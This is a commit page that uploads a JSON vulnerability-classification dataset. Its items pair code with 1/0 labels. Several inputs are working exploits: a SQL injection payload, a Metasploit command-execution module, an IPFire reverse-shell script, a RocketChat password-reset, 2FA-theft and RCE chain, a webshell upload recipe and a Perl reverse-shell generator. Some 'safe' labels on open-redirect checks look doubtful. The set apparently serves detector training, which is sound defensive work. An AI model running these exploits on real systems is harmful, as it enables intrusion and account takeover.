SUNJINGGUO commited on
Commit
e834e9e
·
verified ·
1 Parent(s): 60c19db

Upload cross_validation_group_5.json

Browse files
Files changed (1) hide show
  1. cross_validation_group_5.json +147 -0
cross_validation_group_5.json ADDED
@@ -0,0 +1,147 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ [
2
+ {
3
+ "instruction": "please judge the source code for vulnerabilities.",
4
+ "input": "<hyphen><hyphen><hyphen><hyphen><hyphen> PoC: SQLi <hyphen><hyphen><hyphen><hyphen><hyphen><NEWLINE>Request: http:<slash><slash>localhost<slash>[PATH]<slash>kategori<slash>ikinci<hyphen>el<hyphen>klima.html?oz[]=1<underscore>1<NEWLINE>Vulnerable Parameters: oz[] (GET)<NEWLINE>Payload: 0<single<underscore>quote>XOR(if(now()=sysdate(),sleep(0),0))XOR<single<underscore>quote>Z",
5
+ "output": "1"
6
+ },
7
+ {
8
+ "instruction": "please judge the source code for vulnerabilities.",
9
+ "input": "require <single<underscore>quote>msf<slash>core<single<underscore>quote><NEWLINE>class Metasploit3 < Msf::Exploit::Remote<NEWLINE>Rank = ExcellentRanking<NEWLINE>include Msf::Exploit::Remote::HttpClient<NEWLINE>def initialize(info = {})<NEWLINE>super(update<underscore>info(info,<NEWLINE><single<underscore>quote>Name<single<underscore>quote> => <single<underscore>quote>Spreecommerce 0.60.1 Arbitrary Command Execution<single<underscore>quote>,<NEWLINE><single<underscore>quote>Description<single<underscore>quote> => %q{<NEWLINE>This module exploits an arbitrary command execution vulnerability in the<NEWLINE>Spreecommerce search. Unvalidated input is called via the<NEWLINE>Ruby send method allowing command execution.<NEWLINE>},<NEWLINE><single<underscore>quote>Author<single<underscore>quote> => [ <single<underscore>quote>joernchen <joernchen[at]phenoelit.de><single<underscore>quote> ],<NEWLINE><single<underscore>quote>License<single<underscore>quote> => MSF<underscore>LICENSE,<NEWLINE><single<underscore>quote>Version<single<underscore>quote> => <single<underscore>quote>$Revision: 13831 $<single<underscore>quote>,<NEWLINE><single<underscore>quote>References<single<underscore>quote> =><NEWLINE>[<NEWLINE>[ <single<underscore>quote>OSVDB<single<underscore>quote>, <single<underscore>quote>76011<single<underscore>quote>],<NEWLINE>[ <single<underscore>quote>URL<single<underscore>quote>, <single<underscore>quote>http:<slash><slash>spreecommerce.com<slash>blog<slash>2011<slash>10<slash>05<slash>remote<hyphen>command<hyphen>product<hyphen>group<slash><single<underscore>quote> ],<NEWLINE>],<NEWLINE><single<underscore>quote>Privileged<single<underscore>quote> => false,<NEWLINE><single<underscore>quote>Payload<single<underscore>quote> =><NEWLINE>{<NEWLINE><single<underscore>quote>BadChars<single<underscore>quote> => <double<underscore>quote><backslash>x60<double<underscore>quote>,<NEWLINE><single<underscore>quote>DisableNops<single<underscore>quote> => true,<NEWLINE><single<underscore>quote>Space<single<underscore>quote> => 31337,<NEWLINE><single<underscore>quote>Compat<single<underscore>quote> =><NEWLINE>{<NEWLINE><single<underscore>quote>PayloadType<single<underscore>quote> => <single<underscore>quote>cmd<single<underscore>quote>,<NEWLINE>}<NEWLINE>},<NEWLINE><single<underscore>quote>Platform<single<underscore>quote> => [ <single<underscore>quote>unix<single<underscore>quote>, <single<underscore>quote>linux<single<underscore>quote> ],<NEWLINE><single<underscore>quote>Arch<single<underscore>quote> => ARCH<underscore>CMD,<NEWLINE><single<underscore>quote>Targets<single<underscore>quote> => [[ <single<underscore>quote>Automatic<single<underscore>quote>, { }]],<NEWLINE><single<underscore>quote>DefaultTarget<single<underscore>quote> => 0))<NEWLINE>register<underscore>options(<NEWLINE>[<NEWLINE>OptString.new(<single<underscore>quote>URI<single<underscore>quote>, [true, <double<underscore>quote>The path to the Spreecommerce main site<double<underscore>quote>, <double<underscore>quote><slash><double<underscore>quote>]),<NEWLINE>], self.class)<NEWLINE>end<NEWLINE>def exploit<NEWLINE>command = Rex::Text.uri<underscore>encode(payload.raw, <single<underscore>quote>hex<hyphen>all<single<underscore>quote>)<NEWLINE>res = send<underscore>request<underscore>raw({<NEWLINE><single<underscore>quote>uri<single<underscore>quote> => datastore[<single<underscore>quote>URI<single<underscore>quote>]+ <double<underscore>quote>?search[send][]=eval&search[send][]=Kernel.fork%20do%60<NEWLINE><single<underscore>quote>method<single<underscore>quote> => <single<underscore>quote>GET<single<underscore>quote>,<NEWLINE><single<underscore>quote>headers<single<underscore>quote> =><NEWLINE>{<NEWLINE><single<underscore>quote>User<hyphen>Agent<single<underscore>quote> => <single<underscore>quote>Mozilla<slash>4.0 (compatible; MSIE 6.0; Windows NT 5.1)<single<underscore>quote>,<NEWLINE><single<underscore>quote>Connection<single<underscore>quote> => <single<underscore>quote>Close<single<underscore>quote>,<NEWLINE>}<NEWLINE>}, 0.4 )<NEWLINE>if (res)<NEWLINE>print<underscore>status(<double<underscore>quote>The server returned:<NEWLINE>end<NEWLINE>handler<NEWLINE>end<NEWLINE>end",
10
+ "output": "1"
11
+ },
12
+ {
13
+ "instruction": "please judge the source code for vulnerabilities.",
14
+ "input": "import requests<NEWLINE>revhost = <single<underscore>quote>192.168.56.1<single<underscore>quote><NEWLINE>revport = 1337<NEWLINE>url = <single<underscore>quote>https:<slash><slash>192.168.56.102:444<slash>cgi<hyphen>bin<slash>ids.cgi<single<underscore>quote><NEWLINE>username = <single<underscore>quote>admin<single<underscore>quote><NEWLINE>password = <single<underscore>quote>admin<single<underscore>quote><NEWLINE>payload = <single<underscore>quote>bash <hyphen>i >& <slash>dev<slash>tcp<slash><single<underscore>quote> + revhost + <single<underscore>quote><slash><single<underscore>quote> + str(revport) + <single<underscore>quote> 0>&1<single<underscore>quote><NEWLINE>evildata = {<single<underscore>quote>ENABLE<underscore>SNORT<underscore>GREEN<single<underscore>quote>:<single<underscore>quote>on<single<underscore>quote>,<single<underscore>quote>ENABLE<underscore>SNORT<single<underscore>quote>:<single<underscore>quote>on<single<underscore>quote>,<single<underscore>quote>RULES<single<underscore>quote>:<single<underscore>quote>registered<single<underscore>quote>,<single<underscore>quote>OINKCODE<single<underscore>quote>: <single<underscore>quote>`id`<single<underscore>quote>,<single<underscore>quote>ACTION<single<underscore>quote>: <single<underscore>quote>Download new ruleset<single<underscore>quote>,<single<underscore>quote>ACTION2<single<underscore>quote>:<single<underscore>quote>snort<single<underscore>quote>}<NEWLINE>headers = {<single<underscore>quote>Accept<hyphen>Encoding<single<underscore>quote> : <single<underscore>quote>gzip, deflate, br<single<underscore>quote>,<single<underscore>quote>Accept<single<underscore>quote>:<single<underscore>quote>text<slash>html,application<slash>xhtml+xml,application<slash>xml;q=0.9,*<slash>*;q=0.8<single<underscore>quote>,<single<underscore>quote>User<hyphen>Agent<single<underscore>quote>:<single<underscore>quote>IPFIRE Exploit<single<underscore>quote>,<single<underscore>quote>Referer<single<underscore>quote>: url,<single<underscore>quote>Upgrade<hyphen>Insecure<hyphen>Requests<single<underscore>quote>:<single<underscore>quote>1<single<underscore>quote>}<NEWLINE>def verifyVuln():<NEWLINE>req = requests.post(url,data=evildata,headers=headers,auth=(username,password),verify=False)<NEWLINE>if(req.status<underscore>code == 200 and <double<underscore>quote>uid=99(nobody)<double<underscore>quote> in req.text):<NEWLINE>print <double<underscore>quote>[+] IPFire Installation is Vulnerable [+]<double<underscore>quote><NEWLINE>revShell()<NEWLINE>else:<NEWLINE>print <double<underscore>quote>[+] Not Vulnerable [+]<double<underscore>quote><NEWLINE>def revShell():<NEWLINE>evildata[<double<underscore>quote>OINKCODE<double<underscore>quote>] = <single<underscore>quote>`<single<underscore>quote> + payload + <single<underscore>quote>`<single<underscore>quote><NEWLINE>print <double<underscore>quote>[+] Sending Malicious Payload [+]<double<underscore>quote><NEWLINE>req = requests.post(url,data=evildata,headers=headers,auth=(username,password),verify=False)<NEWLINE>verifyVuln()",
15
+ "output": "1"
16
+ },
17
+ {
18
+ "instruction": "please judge the source code for vulnerabilities.",
19
+ "input": "String url = request.getParameter(<double<underscore>quote>url<double<underscore>quote>);<NEWLINE>if(Pattern.matches(<double<underscore>quote>^https?:<slash><slash>example<backslash>.com<slash><double<underscore>quote>, url)){<NEWLINE> response.sendRedirect(url);<NEWLINE>}",
20
+ "output": "0"
21
+ },
22
+ {
23
+ "instruction": "please judge the source code for vulnerabilities.",
24
+ "input": "@RequestMapping(<double<underscore>quote>{url:^https?:<slash><slash>example<backslash>.com<slash>}<double<underscore>quote>)<NEWLINE>public String redirect(@PathVariable String url){<NEWLINE> return <double<underscore>quote>redirect: <double<underscore>quote>+url;<NEWLINE>}",
25
+ "output": "0"
26
+ },
27
+ {
28
+ "instruction": "please judge the source code for vulnerabilities.",
29
+ "input": "url=params[:url]<NEWLINE>if url.match(<slash>^https?:<backslash><slash><backslash><slash>example<backslash>.com<backslash><slash>)<NEWLINE> redirect<underscore>to url<NEWLINE>end",
30
+ "output": "0"
31
+ },
32
+ {
33
+ "instruction": "please judge the source code for vulnerabilities.",
34
+ "input": "import requests<NEWLINE>import string<NEWLINE>import time<NEWLINE>import hashlib<NEWLINE>import json<NEWLINE>import oathtool<NEWLINE>import argparse<NEWLINE>parser = argparse.ArgumentParser(description=<single<underscore>quote>RocketChat 3.12.1 RCE<single<underscore>quote>)<NEWLINE>parser.add<underscore>argument(<single<underscore>quote><hyphen>u<single<underscore>quote>, help=<single<underscore>quote>Low priv user email [ No 2fa ]<single<underscore>quote>, required=True)<NEWLINE>parser.add<underscore>argument(<single<underscore>quote><hyphen>a<single<underscore>quote>, help=<single<underscore>quote>Administrator email<single<underscore>quote>, required=True)<NEWLINE>parser.add<underscore>argument(<single<underscore>quote><hyphen>t<single<underscore>quote>, help=<single<underscore>quote>URL (Eg: http:<slash><slash>rocketchat.local)<single<underscore>quote>, required=True)<NEWLINE>args = parser.parse<underscore>args()<NEWLINE>adminmail = args.a<NEWLINE>lowprivmail = args.u<NEWLINE>target = args.t<NEWLINE>def forgotpassword(email,url):<NEWLINE>payload=<single<underscore>quote>{<double<underscore>quote>message<double<underscore>quote>:<double<underscore>quote>{<backslash><backslash><double<underscore>quote>msg<backslash><backslash><double<underscore>quote>:<backslash><backslash><double<underscore>quote>method<backslash><backslash><double<underscore>quote>,<backslash><backslash><double<underscore>quote>method<backslash><backslash><double<underscore>quote>:<backslash><backslash><double<underscore>quote>sendForgotPasswordEmail<backslash><backslash><double<underscore>quote>,<backslash><backslash><double<underscore>quote>params<backslash><backslash><double<underscore>quote>:[<backslash><backslash><double<underscore>quote><single<underscore>quote>+email+<single<underscore>quote><backslash><backslash><double<underscore>quote>]}<double<underscore>quote>}<single<underscore>quote><NEWLINE>headers={<single<underscore>quote>content<hyphen>type<single<underscore>quote>: <single<underscore>quote>application<slash>json<single<underscore>quote>}<NEWLINE>r = requests.post(url+<double<underscore>quote><slash>api<slash>v1<slash>method.callAnon<slash>sendForgotPasswordEmail<double<underscore>quote>, data = payload, headers = headers, verify = False, allow<underscore>redirects = False)<NEWLINE>print(<double<underscore>quote>[+] Password Reset Email Sent<double<underscore>quote>)<NEWLINE>def resettoken(url):<NEWLINE>u = url+<double<underscore>quote><slash>api<slash>v1<slash>method.callAnon<slash>getPasswordPolicy<double<underscore>quote><NEWLINE>headers={<single<underscore>quote>content<hyphen>type<single<underscore>quote>: <single<underscore>quote>application<slash>json<single<underscore>quote>}<NEWLINE>token = <double<underscore>quote><double<underscore>quote><NEWLINE>num = list(range(0,10))<NEWLINE>string<underscore>ints = [str(int) for int in num]<NEWLINE>characters = list(string.ascii<underscore>uppercase + string.ascii<underscore>lowercase) + list(<single<underscore>quote><hyphen><single<underscore>quote>)+list(<single<underscore>quote><underscore><single<underscore>quote>) + string<underscore>ints<NEWLINE>while len(token)!= 43:<NEWLINE>for c in characters:<NEWLINE>payload=<single<underscore>quote>{<double<underscore>quote>message<double<underscore>quote>:<double<underscore>quote>{<backslash><backslash><double<underscore>quote>msg<backslash><backslash><double<underscore>quote>:<backslash><backslash><double<underscore>quote>method<backslash><backslash><double<underscore>quote>,<backslash><backslash><double<underscore>quote>method<backslash><backslash><double<underscore>quote>:<backslash><backslash><double<underscore>quote>getPasswordPolicy<backslash><backslash><double<underscore>quote>,<backslash><backslash><double<underscore>quote>params<backslash><backslash><double<underscore>quote>:[{<backslash><backslash><double<underscore>quote>token<backslash><backslash><double<underscore>quote>:{<backslash><backslash><double<underscore>quote>$regex<backslash><backslash><double<underscore>quote>:<backslash><backslash><double<underscore>quote>^%s<backslash><backslash><double<underscore>quote>}}]}<double<underscore>quote>}<single<underscore>quote> % (token + c)<NEWLINE>r = requests.post(u, data = payload, headers = headers, verify = False, allow<underscore>redirects = False)<NEWLINE>time.sleep(0.5)<NEWLINE>if <single<underscore>quote>Meteor.Error<single<underscore>quote> not in r.text:<NEWLINE>token += c<NEWLINE>print(f<double<underscore>quote>Got: {token}<double<underscore>quote>)<NEWLINE>print(f<double<underscore>quote>[+] Got token : {token}<double<underscore>quote>)<NEWLINE>return token<NEWLINE>def changingpassword(url,token):<NEWLINE>payload = <single<underscore>quote>{<double<underscore>quote>message<double<underscore>quote>:<double<underscore>quote>{<backslash><backslash><double<underscore>quote>msg<backslash><backslash><double<underscore>quote>:<backslash><backslash><double<underscore>quote>method<backslash><backslash><double<underscore>quote>,<backslash><backslash><double<underscore>quote>method<backslash><backslash><double<underscore>quote>:<backslash><backslash><double<underscore>quote>resetPassword<backslash><backslash><double<underscore>quote>,<backslash><backslash><double<underscore>quote>params<backslash><backslash><double<underscore>quote>:[<backslash><backslash><double<underscore>quote><single<underscore>quote>+token+<single<underscore>quote><backslash><backslash><double<underscore>quote>,<backslash><backslash><double<underscore>quote>P@$$w0rd!1234<backslash><backslash><double<underscore>quote>]}<double<underscore>quote>}<single<underscore>quote><NEWLINE>headers={<single<underscore>quote>content<hyphen>type<single<underscore>quote>: <single<underscore>quote>application<slash>json<single<underscore>quote>}<NEWLINE>r = requests.post(url+<double<underscore>quote><slash>api<slash>v1<slash>method.callAnon<slash>resetPassword<double<underscore>quote>, data = payload, headers = headers, verify = False, allow<underscore>redirects = False)<NEWLINE>if <double<underscore>quote>error<double<underscore>quote> in r.text:<NEWLINE>exit(<double<underscore>quote>[<hyphen>] Wrong token<double<underscore>quote>)<NEWLINE>print(<double<underscore>quote>[+] Password was changed !<double<underscore>quote>)<NEWLINE>def twofactor(url,email):<NEWLINE>sha256pass = hashlib.sha256(b<single<underscore>quote>P@$$w0rd!1234<single<underscore>quote>).hexdigest()<NEWLINE>payload =<single<underscore>quote>{<double<underscore>quote>message<double<underscore>quote>:<double<underscore>quote>{<backslash><backslash><double<underscore>quote>msg<backslash><backslash><double<underscore>quote>:<backslash><backslash><double<underscore>quote>method<backslash><backslash><double<underscore>quote>,<backslash><backslash><double<underscore>quote>method<backslash><backslash><double<underscore>quote>:<backslash><backslash><double<underscore>quote>login<backslash><backslash><double<underscore>quote>,<backslash><backslash><double<underscore>quote>params<backslash><backslash><double<underscore>quote>:[{<backslash><backslash><double<underscore>quote>user<backslash><backslash><double<underscore>quote>:{<backslash><backslash><double<underscore>quote>email<backslash><backslash><double<underscore>quote>:<backslash><backslash><double<underscore>quote><single<underscore>quote>+email+<single<underscore>quote><backslash><backslash><double<underscore>quote>},<backslash><backslash><double<underscore>quote>password<backslash><backslash><double<underscore>quote>:{<backslash><backslash><double<underscore>quote>digest<backslash><backslash><double<underscore>quote>:<backslash><backslash><double<underscore>quote><single<underscore>quote>+sha256pass+<single<underscore>quote><backslash><backslash><double<underscore>quote>,<backslash><backslash><double<underscore>quote>algorithm<backslash><backslash><double<underscore>quote>:<backslash><backslash><double<underscore>quote>sha<hyphen>256<backslash><backslash><double<underscore>quote>}}]}<double<underscore>quote>}<single<underscore>quote><NEWLINE>headers={<single<underscore>quote>content<hyphen>type<single<underscore>quote>: <single<underscore>quote>application<slash>json<single<underscore>quote>}<NEWLINE>r = requests.post(url + <double<underscore>quote><slash>api<slash>v1<slash>method.callAnon<slash>login<double<underscore>quote>,data=payload,headers=headers,verify=False,allow<underscore>redirects=False)<NEWLINE>if <double<underscore>quote>error<double<underscore>quote> in r.text:<NEWLINE>exit(<double<underscore>quote>[<hyphen>] Couldn<single<underscore>quote>t authenticate<double<underscore>quote>)<NEWLINE>data = json.loads(r.text)<NEWLINE>data =(data[<single<underscore>quote>message<single<underscore>quote>])<NEWLINE>userid = data[32:49]<NEWLINE>token = data[60:103]<NEWLINE>print(f<double<underscore>quote>[+] Succesfully authenticated as {email}<double<underscore>quote>)<NEWLINE>cookies = {<single<underscore>quote>rc<underscore>uid<single<underscore>quote>: userid,<single<underscore>quote>rc<underscore>token<single<underscore>quote>: token}<NEWLINE>headers={<single<underscore>quote>X<hyphen>User<hyphen>Id<single<underscore>quote>: userid,<single<underscore>quote>X<hyphen>Auth<hyphen>Token<single<underscore>quote>: token}<NEWLINE>payload = <single<underscore>quote><slash>api<slash>v1<slash>users.list?query={<double<underscore>quote>$where<double<underscore>quote>%3a<double<underscore>quote>this.username%3d%3d%3d<backslash><single<underscore>quote>admin<backslash><single<underscore>quote>+%26%26+(()%3d>{+throw+this.services.totp.secret+})()<double<underscore>quote>}<single<underscore>quote><NEWLINE>r = requests.get(url+payload,cookies=cookies,headers=headers)<NEWLINE>code = r.text[46:98]<NEWLINE>print(f<double<underscore>quote>Got the code for 2fa: {code}<double<underscore>quote>)<NEWLINE>return code<NEWLINE>def changingadminpassword(url,token,code):<NEWLINE>payload = <single<underscore>quote>{<double<underscore>quote>message<double<underscore>quote>:<double<underscore>quote>{<backslash><backslash><double<underscore>quote>msg<backslash><backslash><double<underscore>quote>:<backslash><backslash><double<underscore>quote>method<backslash><backslash><double<underscore>quote>,<backslash><backslash><double<underscore>quote>method<backslash><backslash><double<underscore>quote>:<backslash><backslash><double<underscore>quote>resetPassword<backslash><backslash><double<underscore>quote>,<backslash><backslash><double<underscore>quote>params<backslash><backslash><double<underscore>quote>:[<backslash><backslash><double<underscore>quote><single<underscore>quote>+token+<single<underscore>quote><backslash><backslash><double<underscore>quote>,<backslash><backslash><double<underscore>quote>P@$$w0rd!1234<backslash><backslash><double<underscore>quote>,{<backslash><backslash><double<underscore>quote>twoFactorCode<backslash><backslash><double<underscore>quote>:<backslash><backslash><double<underscore>quote><single<underscore>quote>+code+<single<underscore>quote><backslash><backslash><double<underscore>quote>,<backslash><backslash><double<underscore>quote>twoFactorMethod<backslash><backslash><double<underscore>quote>:<backslash><backslash><double<underscore>quote>totp<backslash><backslash><double<underscore>quote>}]}<double<underscore>quote>}<single<underscore>quote><NEWLINE>headers={<single<underscore>quote>content<hyphen>type<single<underscore>quote>: <single<underscore>quote>application<slash>json<single<underscore>quote>}<NEWLINE>r = requests.post(url+<double<underscore>quote><slash>api<slash>v1<slash>method.callAnon<slash>resetPassword<double<underscore>quote>, data = payload, headers = headers, verify = False, allow<underscore>redirects = False)<NEWLINE>if <double<underscore>quote>403<double<underscore>quote> in r.text:<NEWLINE>exit(<double<underscore>quote>[<hyphen>] Wrong token<double<underscore>quote>)<NEWLINE>print(<double<underscore>quote>[+] Admin password changed !<double<underscore>quote>)<NEWLINE>def rce(url,code,cmd):<NEWLINE>sha256pass = hashlib.sha256(b<single<underscore>quote>P@$$w0rd!1234<single<underscore>quote>).hexdigest()<NEWLINE>headers={<single<underscore>quote>content<hyphen>type<single<underscore>quote>: <single<underscore>quote>application<slash>json<single<underscore>quote>}<NEWLINE>payload = <single<underscore>quote>{<double<underscore>quote>message<double<underscore>quote>:<double<underscore>quote>{<backslash><backslash><double<underscore>quote>msg<backslash><backslash><double<underscore>quote>:<backslash><backslash><double<underscore>quote>method<backslash><backslash><double<underscore>quote>,<backslash><backslash><double<underscore>quote>method<backslash><backslash><double<underscore>quote>:<backslash><backslash><double<underscore>quote>login<backslash><backslash><double<underscore>quote>,<backslash><backslash><double<underscore>quote>params<backslash><backslash><double<underscore>quote>:[{<backslash><backslash><double<underscore>quote>totp<backslash><backslash><double<underscore>quote>:{<backslash><backslash><double<underscore>quote>login<backslash><backslash><double<underscore>quote>:{<backslash><backslash><double<underscore>quote>user<backslash><backslash><double<underscore>quote>:{<backslash><backslash><double<underscore>quote>username<backslash><backslash><double<underscore>quote>:<backslash><backslash><double<underscore>quote>admin<backslash><backslash><double<underscore>quote>},<backslash><backslash><double<underscore>quote>password<backslash><backslash><double<underscore>quote>:{<backslash><backslash><double<underscore>quote>digest<backslash><backslash><double<underscore>quote>:<backslash><backslash><double<underscore>quote><single<underscore>quote>+sha256pass+<single<underscore>quote><backslash><backslash><double<underscore>quote>,<backslash><backslash><double<underscore>quote>algorithm<backslash><backslash><double<underscore>quote>:<backslash><backslash><double<underscore>quote>sha<hyphen>256<backslash><backslash><double<underscore>quote>}},<backslash><backslash><double<underscore>quote>code<backslash><backslash><double<underscore>quote>:<backslash><backslash><double<underscore>quote><single<underscore>quote>+code+<single<underscore>quote><backslash><backslash><double<underscore>quote>}}]}<double<underscore>quote>}<single<underscore>quote><NEWLINE>r = requests.post(url + <double<underscore>quote><slash>api<slash>v1<slash>method.callAnon<slash>login<double<underscore>quote>,data=payload,headers=headers,verify=False,allow<underscore>redirects=False)<NEWLINE>if <double<underscore>quote>error<double<underscore>quote> in r.text:<NEWLINE>exit(<double<underscore>quote>[<hyphen>] Couldn<single<underscore>quote>t authenticate<double<underscore>quote>)<NEWLINE>data = json.loads(r.text)<NEWLINE>data =(data[<single<underscore>quote>message<single<underscore>quote>])<NEWLINE>userid = data[32:49]<NEWLINE>token = data[60:103]<NEWLINE>print(<double<underscore>quote>[+] Succesfully authenticated as administrator<double<underscore>quote>)<NEWLINE>payload = <single<underscore>quote>{<double<underscore>quote>enabled<double<underscore>quote>:true,<double<underscore>quote>channel<double<underscore>quote>:<double<underscore>quote><NEWLINE>cookies = {<single<underscore>quote>rc<underscore>uid<single<underscore>quote>: userid,<single<underscore>quote>rc<underscore>token<single<underscore>quote>: token}<NEWLINE>headers = {<single<underscore>quote>X<hyphen>User<hyphen>Id<single<underscore>quote>: userid,<single<underscore>quote>X<hyphen>Auth<hyphen>Token<single<underscore>quote>: token}<NEWLINE>r = requests.post(url+<single<underscore>quote><slash>api<slash>v1<slash>integrations.create<single<underscore>quote>,cookies=cookies,headers=headers,data=payload)<NEWLINE>data = r.text<NEWLINE>data = data.split(<single<underscore>quote>,<single<underscore>quote>)<NEWLINE>token = data[12]<NEWLINE>token = token[9:57]<NEWLINE><underscore>id = data[18]<NEWLINE><underscore>id = <underscore>id[7:24]<NEWLINE>u = url + <single<underscore>quote><slash>hooks<slash><single<underscore>quote> + <underscore>id + <single<underscore>quote><slash><single<underscore>quote> +token<NEWLINE>r = requests.get(u)<NEWLINE>print(r.text)<NEWLINE>print(f<double<underscore>quote>[+] Resetting {lowprivmail} password<double<underscore>quote>)<NEWLINE>forgotpassword(lowprivmail,target)<NEWLINE>token = resettoken(target)<NEWLINE>changingpassword(target,token)<NEWLINE>secret = twofactor(target,lowprivmail)<NEWLINE>print(f<double<underscore>quote>[+] Resetting {adminmail} password<double<underscore>quote>)<NEWLINE>forgotpassword(adminmail,target)<NEWLINE>token = resettoken(target)<NEWLINE>code = oathtool.generate<underscore>otp(secret)<NEWLINE>changingadminpassword(target,token,code)<NEWLINE>while True:<NEWLINE>cmd = input(<double<underscore>quote>CMD:> <double<underscore>quote>)<NEWLINE>code = oathtool.generate<underscore>otp(secret)<NEWLINE>rce(target,code,cmd)",
35
+ "output": "1"
36
+ },
37
+ {
38
+ "instruction": "please judge the source code for vulnerabilities.",
39
+ "input": "|<NEWLINE>| NAS Uploader [V1.0&1.5] Remote File Upload Vulnerability<NEWLINE>|<NEWLINE>| Author : [ViRuSMaN]<NEWLINE>|<NEWLINE>| Contact : [v.<hyphen>m@live.com]<NEWLINE>|<NEWLINE>| Home : [Islam<hyphen>Attack.CoM , HackTeach.OrG]<NEWLINE>|<NEWLINE>| Download : [http:<slash><slash>www.nasuploader.com<slash>nasuploader<underscore>v10<underscore>packdemo.php]<NEWLINE>| [http:<slash><slash>www.nasuploader.com<slash>nasuploader<underscore>v15<underscore>packdemo.php]<NEWLINE>|<NEWLINE>|<NEWLINE>|<NEWLINE>| Exp :<NEWLINE>|<NEWLINE>| 1<hyphen> Go to target.com<slash>[path]<slash>upload<underscore>multiple<underscore>js.php<NEWLINE>|<NEWLINE>| 2<hyphen> Click On <double<underscore>quote>Parcourir<double<underscore>quote><NEWLINE>|<NEWLINE>| 3<hyphen> Upload Your Shell Format <double<underscore>quote>shell.php.rar<double<underscore>quote><NEWLINE>|<NEWLINE>| 4<hyphen> Pwd Your Shell [target.com<slash>[path]<slash>uploads<slash>tests<slash>shell.php.rar]<NEWLINE>|<NEWLINE>|<NEWLINE>| Greets : All members of islam<hyphen>attack.com , hackteach.org & Sec<hyphen>Sni.Com All Muslim<single<underscore>quote>s<NEWLINE>|",
40
+ "output": "1"
41
+ },
42
+ {
43
+ "instruction": "please judge the source code for vulnerabilities.",
44
+ "input": "<double<underscore>quote><double<underscore>quote><double<underscore>quote><NEWLINE>Coded by: @faisalfs10x<NEWLINE>GitHub: https:<slash><slash>github.com<slash>faisalfs10x<NEWLINE>Reference: https:<slash><slash>huntr.dev<slash>bounties<slash>d0049a96<hyphen>de90<hyphen>4b1a<hyphen>9111<hyphen>94de1044f295<slash><NEWLINE><double<underscore>quote><double<underscore>quote><double<underscore>quote><NEWLINE>import requests<NEWLINE>import urllib3<NEWLINE>import argparse<NEWLINE>import os<NEWLINE>import time<NEWLINE>urllib3.disable<underscore>warnings(urllib3.exceptions.InsecureRequestWarning)<NEWLINE>TGREEN = <single<underscore>quote><backslash>033[32m<single<underscore>quote><NEWLINE>TRED = <single<underscore>quote><backslash>033[31m<single<underscore>quote><NEWLINE>TCYAN = <single<underscore>quote><backslash>033[36m<single<underscore>quote><NEWLINE>TSHELL = <single<underscore>quote><backslash>033[32;1m<single<underscore>quote><NEWLINE>ENDC = <single<underscore>quote><backslash>033[m<single<underscore>quote><NEWLINE>class Exploit(object):<NEWLINE>def <underscore><underscore>init<underscore><underscore>(self, target, username, password, py3http<underscore>server, pyhttp<underscore>port, upload<underscore>path, callback<underscore>ip, callback<underscore>port, fname):<NEWLINE>self.target = target<NEWLINE>self.username = username<NEWLINE>self.password = password<NEWLINE>self.py3http<underscore>server = py3http<underscore>server<NEWLINE>self.pyhttp<underscore>port = pyhttp<underscore>port<NEWLINE>self.upload<underscore>path = upload<underscore>path<NEWLINE>self.callback<underscore>ip = callback<underscore>ip<NEWLINE>self.callback<underscore>port = callback<underscore>port<NEWLINE>self.fname = fname<NEWLINE>self.s = requests.Session()<NEWLINE>def gen<underscore>payload(self):<NEWLINE>payload = (<single<underscore>quote><single<underscore>quote><single<underscore>quote>perl <hyphen>e <single<underscore>quote>use Socket;$i=<double<underscore>quote><single<underscore>quote><single<underscore>quote><single<underscore>quote> + self.callback<underscore>ip + <single<underscore>quote><single<underscore>quote><single<underscore>quote><double<underscore>quote>;$p=<single<underscore>quote><single<underscore>quote><single<underscore>quote> + self.callback<underscore>port + <single<underscore>quote><single<underscore>quote><single<underscore>quote>;socket(S,PF<underscore>INET,SOCK<underscore>STREAM,getprotobyname(<double<underscore>quote>tcp<double<underscore>quote>));if(connect(S,sockaddr<underscore>in($p,inet<underscore>aton($i)))){open(STDIN,<double<underscore>quote>>&S<double<underscore>quote>);open(STDOUT,<double<underscore>quote>>&S<double<underscore>quote>);open(STDERR,<double<underscore>quote>>&S<double<underscore>quote>);exec(<double<underscore>quote><slash>bin<slash>bash <hyphen>i<double<underscore>quote>);};<single<underscore>quote> <single<underscore>quote><single<underscore>quote><single<underscore>quote>)<NEWLINE>print(TCYAN + f<double<underscore>quote><backslash>n[+] Generating payload to {self.fname} in current directory<double<underscore>quote>, ENDC)<NEWLINE>f = open(f<double<underscore>quote>{self.fname}<double<underscore>quote>, <double<underscore>quote>w<double<underscore>quote>)<NEWLINE>f.write(payload)<NEWLINE>f.close()<NEWLINE>def login(self):<NEWLINE>login<underscore>url = self.target + <double<underscore>quote><slash>session<underscore>login.cgi<double<underscore>quote><NEWLINE>cookies = { <double<underscore>quote>redirect<double<underscore>quote>: <double<underscore>quote>1<double<underscore>quote>, <double<underscore>quote>testing<double<underscore>quote>: <double<underscore>quote>1<double<underscore>quote>, <double<underscore>quote>PHPSESSID<double<underscore>quote>: <double<underscore>quote><double<underscore>quote> }<NEWLINE>data = { <single<underscore>quote>user<single<underscore>quote> : self.username, <single<underscore>quote>pass<single<underscore>quote> : self.password }<NEWLINE>try:<NEWLINE>r = self.s.post(login<underscore>url, data=data, cookies=cookies, verify=False, allow<underscore>redirects=True, timeout=10)<NEWLINE>success<underscore>message = <single<underscore>quote>System hostname<single<underscore>quote><NEWLINE>if success<underscore>message in r.text:<NEWLINE>print(TGREEN + <double<underscore>quote>[+] Login Successful<double<underscore>quote>, ENDC)<NEWLINE>else:<NEWLINE>print(TRED +<double<underscore>quote>[<hyphen>] Login Failed<double<underscore>quote>, ENDC)<NEWLINE>exit()<NEWLINE>except requests.Timeout as e:<NEWLINE>print(TRED + f<double<underscore>quote>[<hyphen>] Target: {self.target} is not responding, Connection timed out<double<underscore>quote>, ENDC)<NEWLINE>exit()<NEWLINE>def 